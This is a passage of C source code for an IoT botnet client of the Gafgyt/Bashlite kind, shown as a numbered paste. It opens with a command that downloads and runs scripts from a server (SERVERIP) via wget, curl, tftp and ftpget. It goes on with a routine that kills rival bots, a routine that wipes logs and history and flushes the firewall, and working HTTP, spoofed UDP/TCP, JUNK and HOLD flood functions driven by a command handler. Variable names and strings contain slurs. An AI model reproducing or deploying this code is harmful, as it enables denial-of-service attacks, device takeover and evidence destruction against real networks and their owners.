  1813. system("cd /tmp; wget http://SERVERIP/bins.sh; curl -O http://SERVERIP/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp SERVERIP -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g SERVERIP; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 SERVERIP ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n");
  1814. return;
  1815. }
  1816. sleep(5);
  1817. }
  1818. //botkill
  1819. void botkiller(){
  1820. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
  1821. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586"};
  1822. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*"};
  1823. char hacker[80];
  1824. char botkill[80];
  1825. char buf[128];
  1826. int i, num_tmps, j;
  1827. for(j = 0; j < num_tmps; j++)
  1828. {
  1829. memset(buf, 0, 128);
  1830. if(j == 0)
  1831. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  1832. else
  1833. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  1834. system(buf);
  1835. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  1836. system(botkill);
  1837. return;
  1838. }
  1839. sleep(5);
  1840. }
  1841. //Cleaning Device
  1842. void RemoveTMP() {
  1843. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  1844. system("rm -rf /var/log/wtmp");
  1845. system("history -c;history -w");
  1846. system("rm -rf /var/log/wtmp");
  1847. system("rm -rf /tmp/*");
  1848. system("history -c");
  1849. system("rm -rf ~/.bash_history");
  1850. system("rm -rf /bin/netstat");
  1851. system("history -w");
  1852. system("pkill -9 busybox");
  1853. system("pkill -9 perl");
  1854. system("service iptables stop");
  1855. system("/sbin/iptables -F;/sbin/iptables -X");
  1856. }
  1857. int socket_connect(char *host, in_port_t port) {
  1858. struct hostent *hp;
  1859. struct sockaddr_in addr;
  1860. int on = 1, sock;
  1861. if ((hp = gethostbyname(host)) == NULL) return 0;
  1862. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1863. addr.sin_port = htons(port);
  1864. addr.sin_family = AF_INET;
  1865. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1866. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1867. if (sock == -1) return 0;
  1868. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1869. return 0;
  1870. return sock;
  1871. }
  1872. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  1873. const char *useragents[] = {
  1874. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1875. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1876. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1877. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1878. "Opera/6.04 (Windows XP; U) [en]",
  1879. "Opera/9.99 (X11; U; sk)",
  1880. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1881. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1882. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  1883. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1884. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1885. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1886. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1887. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1888. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1889. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1890. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1891. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1892. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1893. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1894. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1895. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1896. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  1897. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1898. "wii libnup/1.0",
  1899. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  1900. "PSP (PlayStation Portable); 2.00",
  1901. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1902. "Doris/1.15 [en] (Symbian)",
  1903. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1904. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100"
  1905. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1906. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1907. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1908. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1909. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1910. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  1911. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  1912. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  1913. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  1914. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  1915. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  1916. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  1917. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  1918. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1919. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1920. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1921. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  1922. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  1923. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  1924. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  1925. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  1926. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  1927. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  1928. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  1929. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  1930. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  1931. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  1932. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  1933. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  1934. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  1935. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  1936. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  1937. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  1938. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  1939. };
  1940. const char *connections[] = {"close", "keep-alive", "accept"};
  1941. int i, timeEnd = time(NULL) + timeFoo;
  1942. char request[512];
  1943. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 65)]);
  1944. for (i = 0; i < power; i++) {
  1945. if (fork()) {
  1946. while (timeEnd > time(NULL)) {
  1947. int socket = socket_connect((char *)host, port);
  1948. if (socket != 0) {
  1949. write(socket, request, strlen(request));
  1950. close(socket);
  1951. }
  1952. }
  1953. _exit(1);
  1954. }
  1955. }
  1956. }
  1957. void sendSTD(unsigned char *ip, int port, int secs) {
  1958. int iSTD_Sock;
  1959. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1960. time_t start = time(NULL);
  1961. struct sockaddr_in sin;
  1962. struct hostent *hp;
  1963. hp = gethostbyname(ip);
  1964. bzero((char*) &sin,sizeof(sin));
  1965. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1966. sin.sin_family = hp->h_addrtype;
  1967. sin.sin_port = port;
  1968. unsigned int a = 0;
  1969. while(1){
  1970. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "hackz", "shdyed", "http", "sghwiondc", "nigger", "pussy", "faggot"};
  1971. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1972. if (a >= 50)
  1973. {
  1974. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1975. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1976. if (time(NULL) >= start + secs)
  1977. {
  1978. close(iSTD_Sock);
  1979. _exit(0);
  1980. }
  1981. a = 0;
  1982. }
  1983. a++;
  1984. }
  1985. }
  1986. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1987. {
  1988. struct sockaddr_in dest_addr;
  1989. dest_addr.sin_family = AF_INET;
  1990. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1991. else dest_addr.sin_port = htons(port);
  1992. if(getHost(target, &dest_addr.sin_addr)) return;
  1993. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1994. register unsigned int pollRegister;
  1995. pollRegister = pollinterval;
  1996. if(spoofit == 32)
  1997. {
  1998. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1999. if(!sockfd)
  2000. {
  2001. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2002. return;
  2003. }
  2004. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2005. if(buf == NULL) return;
  2006. memset(buf, 0, packetsize + 1);
  2007. makeRandomStr(buf, packetsize);
  2008. int end = time(NULL) + timeEnd;
  2009. register unsigned int i = 0;
  2010. while(1)
  2011. {
  2012. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2013. if(i == pollRegister)
  2014. {
  2015. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2016. if(time(NULL) > end) break;
  2017. i = 0;
  2018. continue;
  2019. }
  2020. i++;
  2021. }
  2022. } else {
  2023. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2024. if(!sockfd)
  2025. {
  2026. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2027. return;
  2028. }
  2029. int tmp = 1;
  2030. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2031. {
  2032. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2033. return;
  2034. }
  2035. int counter = 50;
  2036. while(counter--)
  2037. {
  2038. srand(time(NULL) ^ rand_cmwc());
  2039. init_rand(rand());
  2040. }
  2041. in_addr_t netmask;
  2042. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2043. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2044. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2045. struct iphdr *iph = (struct iphdr *)packet;
  2046. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2047. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2048. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2049. udph->source = rand_cmwc();
  2050. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2051. udph->check = 0;
  2052. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2053. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2054. int end = time(NULL) + timeEnd;
  2055. register unsigned int i = 0;
  2056. while(1)
  2057. {
  2058. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2059. udph->source = rand_cmwc();
  2060. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2061. iph->id = rand_cmwc();
  2062. iph->saddr = htonl( HackerScan2(netmask) );
  2063. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2064. if(i == pollRegister)
  2065. {
  2066. if(time(NULL) > end) break;
  2067. i = 0;
  2068. continue;
  2069. }
  2070. i++;
  2071. }
  2072. }
  2073. }
  2074. void sendCNC(unsigned char *ip,int port, int end_time)
  2075. {
  2076. int end = time(NULL) + end_time;
  2077. int sockfd;
  2078. struct sockaddr_in server;
  2079. server.sin_addr.s_addr = inet_addr(ip);
  2080. server.sin_family = AF_INET;
  2081. server.sin_port = htons(port);
  2082. while(end > time(NULL))
  2083. {
  2084. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2085. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  2086. sleep(1);
  2087. close(sockfd);
  2088. }
  2089. }
  2090. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2091. {
  2092. register unsigned int pollRegister;
  2093. pollRegister = pollinterval;
  2094. struct sockaddr_in dest_addr;
  2095. dest_addr.sin_family = AF_INET;
  2096. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2097. else dest_addr.sin_port = htons(port);
  2098. if(getHost(target, &dest_addr.sin_addr)) return;
  2099. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2100. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2101. if(!sockfd)
  2102. {
  2103. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2104. return;
  2105. }
  2106. int tmp = 1;
  2107. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2108. {
  2109. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2110. return;
  2111. }
  2112. in_addr_t netmask;
  2113. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2114. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2115. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2116. struct iphdr *iph = (struct iphdr *)packet;
  2117. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2118. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2119. tcph->source = rand_cmwc();
  2120. tcph->seq = rand_cmwc();
  2121. tcph->ack_seq = 0;
  2122. tcph->doff = 5;
  2123. if(!strcmp(flags, "all"))
  2124. {
  2125. tcph->syn = 1;
  2126. tcph->rst = 1;
  2127. tcph->fin = 1;
  2128. tcph->ack = 1;
  2129. tcph->psh = 1;
  2130. } else {
  2131. unsigned char *pch = strtok(flags, ",");
  2132. while(pch)
  2133. {
  2134. if(!strcmp(pch, "syn"))
  2135. {
  2136. tcph->syn = 1;
  2137. } else if(!strcmp(pch, "rst"))
  2138. {
  2139. tcph->rst = 1;
  2140. } else if(!strcmp(pch, "fin"))
  2141. {
  2142. tcph->fin = 1;
  2143. } else if(!strcmp(pch, "ack"))
  2144. {
  2145. tcph->ack = 1;
  2146. } else if(!strcmp(pch, "psh"))
  2147. {
  2148. tcph->psh = 1;
  2149. } else {
  2150. HackerPrint(D1ckSucka, "Invalid flag \"%s\"", pch);
  2151. }
  2152. pch = strtok(NULL, ",");
  2153. }
  2154. }
  2155. tcph->window = rand_cmwc();
  2156. tcph->check = 0;
  2157. tcph->urg_ptr = 0;
  2158. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2159. tcph->check = tcpcsum(iph, tcph);
  2160. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2161. int end = time(NULL) + timeEnd;
  2162. register unsigned int i = 0;
  2163. while(1)
  2164. {
  2165. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2166. iph->saddr = htonl( HackerScan2(netmask) );
  2167. iph->id = rand_cmwc();
  2168. tcph->seq = rand_cmwc();
  2169. tcph->source = rand_cmwc();
  2170. tcph->check = 0;
  2171. tcph->check = tcpcsum(iph, tcph);
  2172. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2173. if(i == pollRegister)
  2174. {
  2175. if(time(NULL) > end) break;
  2176. i = 0;
  2177. continue;
  2178. }
  2179. i++;
  2180. }
  2181. }
  2182. void sendJUNK(unsigned char *ip, int port, int end_time)
  2183. {
  2184. int max = getdtablesize() / 2, i;
  2185. struct sockaddr_in dest_addr;
  2186. dest_addr.sin_family = AF_INET;
  2187. dest_addr.sin_port = htons(port);
  2188. if(getHost(ip, &dest_addr.sin_addr)) return;
  2189. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2190. struct state_t
  2191. {
  2192. int fd;
  2193. uint8_t state;
  2194. } fds[max];
  2195. memset(fds, 0, max * (sizeof(int) + 1));
  2196. fd_set myset;
  2197. struct timeval tv;
  2198. socklen_t lon;
  2199. int valopt, res;
  2200. unsigned char *watwat = malloc(1024);
  2201. memset(watwat, 0, 1024);
  2202. int end = time(NULL) + end_time;
  2203. while(end > time(NULL))
  2204. {
  2205. for(i = 0; i < max; i++)
  2206. {
  2207. switch(fds[i].state)
  2208. {
  2209. case 0:
  2210. {
  2211. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2212. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2213. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2214. else fds[i].state = 1;
  2215. }
  2216. break;
  2217. case 1:
  2218. {
  2219. FD_ZERO(&myset);
  2220. FD_SET(fds[i].fd, &myset);
  2221. tv.tv_sec = 0;
  2222. tv.tv_usec = 10000;
  2223. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2224. if(res == 1)
  2225. {
  2226. lon = sizeof(int);
  2227. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2228. if(valopt)
  2229. {
  2230. close(fds[i].fd);
  2231. fds[i].state = 0;
  2232. } else {
  2233. fds[i].state = 2;
  2234. }
  2235. } else if(res == -1)
  2236. {
  2237. close(fds[i].fd);
  2238. fds[i].state = 0;
  2239. }
  2240. }
  2241. break;
  2242. case 2:
  2243. {
  2244. makeRandomStr(watwat, 1024);
  2245. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2246. {
  2247. close(fds[i].fd);
  2248. fds[i].state = 0;
  2249. }
  2250. }
  2251. break;
  2252. }
  2253. }
  2254. }
  2255. }
  2256. void sendHOLD(unsigned char *ip, int port, int end_time)
  2257. {
  2258. int max = getdtablesize() / 2, i;
  2259. struct sockaddr_in dest_addr;
  2260. dest_addr.sin_family = AF_INET;
  2261. dest_addr.sin_port = htons(port);
  2262. if(getHost(ip, &dest_addr.sin_addr)) return;
  2263. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2264. struct state_t
  2265. {
  2266. int fd;
  2267. uint8_t state;
  2268. } fds[max];
  2269. memset(fds, 0, max * (sizeof(int) + 1));
  2270. fd_set myset;
  2271. struct timeval tv;
  2272. socklen_t lon;
  2273. int valopt, res;
  2274. unsigned char *watwat = malloc(1024);
  2275. memset(watwat, 0, 1024);
  2276. int end = time(NULL) + end_time;
  2277. while(end > time(NULL))
  2278. {
  2279. for(i = 0; i < max; i++)
  2280. {
  2281. switch(fds[i].state)
  2282. {
  2283. case 0:
  2284. {
  2285. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2286. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2287. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2288. else fds[i].state = 1;
  2289. }
  2290. break;
  2291. case 1:
  2292. {
  2293. FD_ZERO(&myset);
  2294. FD_SET(fds[i].fd, &myset);
  2295. tv.tv_sec = 0;
  2296. tv.tv_usec = 10000;
  2297. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2298. if(res == 1)
  2299. {
  2300. lon = sizeof(int);
  2301. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2302. if(valopt)
  2303. {
  2304. close(fds[i].fd);
  2305. fds[i].state = 0;
  2306. } else {
  2307. fds[i].state = 2;
  2308. }
  2309. } else if(res == -1)
  2310. {
  2311. close(fds[i].fd);
  2312. fds[i].state = 0;
  2313. }
  2314. }
  2315. break;
  2316. case 2:
  2317. {
  2318. FD_ZERO(&myset);
  2319. FD_SET(fds[i].fd, &myset);
  2320. tv.tv_sec = 0;
  2321. tv.tv_usec = 10000;
  2322. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2323. if(res != 0)
  2324. {
  2325. close(fds[i].fd);
  2326. fds[i].state = 0;
  2327. }
  2328. }
  2329. break;
  2330. }
  2331. }
  2332. }
  2333. }
  2334. void processCmd(int argc, unsigned char *argv[])
  2335. {
  2336. int x;
  2337. if(!strcmp(argv[0], "PING"))
  2338. {
  2339. HackerPrint(D1ckSucka, "PONG!");
  2340. return;
  2341. }
  2342. if(!strcmp(argv[0], "GETLOCALIP"))
  2343. {
  2344. HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
  2345. return;
  2346. }
  2347. if(!strcmp(argv[0], "BOTKILL"))
  2348. {
  2349. if(!listFork())
  2350. {
  2351. HackerPrint(D1ckSucka, "Killing Bots");
  2352. botkiller();
  2353. RemoveTMP();
  2354. _exit(0);
  2355. }
  2356. }
  2357. if(!strcmp(argv[0], "LOOPME"))
  2358. {
  2359. if(!listFork())
  2360. {
  2361. HackerPrint(D1ckSucka, "LOOPING PAYLOAD");
  2362. LoopPayload();
  2363. _exit(0);
  2364. }
  2365. }
  2366. if(!strcmp(argv[0], "TELNET"))
  2367. {
  2368. if(argc != 2)
  2369. {
  2370. HackerPrint(D1ckSucka, "TELNET ON | OFF");
  2371. return;
  2372. }
  2373. if(!strcmp(argv[1], "OFF"))
  2374. {
  2375. if(scanPid == 0) return;
  2376. kill(scanPid, 9);
  2377. HackerPrint(D1ckSucka, " OFF");
  2378. scanPid = 0;
  2379. }
  2380. if(!strcmp(argv[1], "ON"))
  2381. {
  2382. if(scanPid != 0) return;
  2383. uint32_t parent;
  2384. parent = fork();
  2385. if (parent > 0) { scanPid = parent; return;}
  2386. else if(parent == -1) return;
  2387. StartTheLelz();
  2388. _exit(0);
  2389. }
  2390. }
  2391.  
  2392. if(!strcmp(argv[0], "NETIS"))
  2393. {
  2394. if(argc != 2)
  2395. {
  2396. return;
  2397. }
  2398. if(!strcmp(argv[1], "ON"))
  2399. {
  2400. HackerPrint(D1ckSucka, "[NETIS] SCANNER Starting");
  2401. StartTheNetis();
  2402. _exit(0);
  2403. }
  2404. }
  2405.  
  2406. if(!strcmp(argv[0], "HOLD"))
  2407. {
  2408. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2409. {
  2410. return;
  2411. }
  2412. unsigned char *ip = argv[1];
  2413. int port = atoi(argv[2]);
  2414. int time = atoi(argv[3]);
  2415. if(strstr(ip, ",") != NULL)
  2416. {
  2417. unsigned char *hi = strtok(ip, ",");
  2418. while(hi != NULL)
  2419. {
  2420. if(!listFork())
  2421. {
  2422. sendHOLD(hi, port, time);
  2423. _exit(0);
  2424. }
  2425. hi = strtok(NULL, ",");
  2426. }
  2427. } else {
  2428. if (listFork()) { return; }
  2429. sendHOLD(ip, port, time);
  2430. _exit(0);
  2431. }
  2432. }
  2433. if(!strcmp(argv[0], "JUNK"))
  2434. {
  2435. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2436. {
  2437. return;
  2438. }
  2439. unsigned char *ip = argv[1];
  2440. int port = atoi(argv[2]);
  2441. int time = atoi(argv[3]);
  2442. if(strstr(ip, ",") != NULL)
  2443. {
  2444. unsigned char *hi = strtok(ip, ",");
  2445. while(hi != NULL)
  2446. {
  2447. if(!listFork())
  2448. {
  2449. sendJUNK(hi, port, time);
  2450. close(D1ckSucka);
  2451. _exit(0);
  2452. }
  2453. hi = strtok(NULL, ",");
  2454. }
  2455. } else {
  2456. if (listFork()) { return; }
  2457. sendJUNK(ip, port, time);
  2458. _exit(0);
  2459. }
  2460. }
  2461. if(!strcmp(argv[0], "UDP"))
  2462. {
  2463. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2464. {
  2465. return;
  2466. }
  2467. unsigned char *ip = argv[1];
  2468. int port = atoi(argv[2]);
  2469. int time = atoi(argv[3]);
  2470. int spoofed = atoi(argv[4]);
  2471. int packetsize = atoi(argv[5]);
  2472. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2473. if(strstr(ip, ",") != NULL)
  2474. {
  2475. unsigned char *hi = strtok(ip, ",");
  2476. while(hi != NULL)
  2477. {
  2478. if(!listFork())
  2479. {
  2480. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2481. _exit(0);
  2482. }
  2483. hi = strtok(NULL, ",");
  2484. }
  2485. } else {
  2486. if (listFork()) { return; }
  2487. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2488. _exit(0);
  2489. }
  2490. }
  2491. if (!strcmp((const char *)argv[0], "HTTP")) {
  2492. if (argc < 6)
  2493. {
  2494. return;
  2495. }
  2496. if (strstr((const char *)argv[1], ",") != NULL) {
